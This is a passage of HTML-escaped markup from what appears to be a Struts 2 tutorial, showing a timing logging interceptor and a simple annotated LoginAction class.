  invocation) throws Exception {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String className =
  invocation.getAction().getClass().getName();&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; long startTime =
  System.currentTimeMillis();&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println(&quot;Before
  calling action: &quot; + className);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String result =
  invocation.invoke();&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; long endTime =
  System.currentTimeMillis();&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println(&quot;After
  calling action: &quot; + className&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; + &quot; Time taken:
  &quot; + (endTime - startTime) + &quot; ms&quot;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return result;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void destroy() {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println(&quot;Destroying
  MyLoggingInterceptor...&quot;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void init() {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println(&quot;Initializing
  MyLoggingInterceptor...&quot;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 6.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;

&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;







&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;&lt;b&gt;LoginAction.java&lt;/b&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;This is just a dumb action so will not perform a lot of things for you but, it will give you an idea of using it&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;package
  com.test.lab.actions;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  java.util.ArrayList;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  java.util.List;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  org.apache.struts2.convention.annotation.Action;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  org.apache.struts2.convention.annotation.InterceptorRef;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  org.apache.struts2.convention.annotation.InterceptorRefs;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  org.apache.struts2.convention.annotation.ParentPackage;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  org.apache.struts2.convention.annotation.Result;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  com.opensymphony.xwork2.ActionSupport;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  com.opensymphony.xwork2.ModelDriven;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  com.test.lab.bo.UserBo;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  com.test.lab.model.UpUser;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;@ParentPackage(&quot;interceptions&quot;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;@InterceptorRefs({&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
  @InterceptorRef(&quot;mylogging&quot;)&amp;nbsp;
  &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;}) &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;public class
  LoginAction&amp;nbsp; implements ModelDriven{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; UpUser user = new UpUser();&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; UserBo userBo;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; @Action(value=&quot;/login&quot;,results={@Result(name=&quot;success&quot;,location=&quot;/jsp/successPage.jsp&quot;),&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; @Result(name=&quot;login&quot;,location=&quot;/jsp/userLogin.jsp&quot;)})&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public String execute() {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(user.getUserScreenName()==null)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return &quot;login&quot;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println(userBo.verifyUser(user));&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return &quot;success&quot;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public Object getModel(){&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return user;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void setUserBo(UserBo userBo) {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.userBo= userBo;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public UpUser getUser() {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return user;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void setUser(UpUser user) {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.user = user;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 6.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;

&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-size: 6.0pt; line-height: 115%; mso-bidi-font-size: 11.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
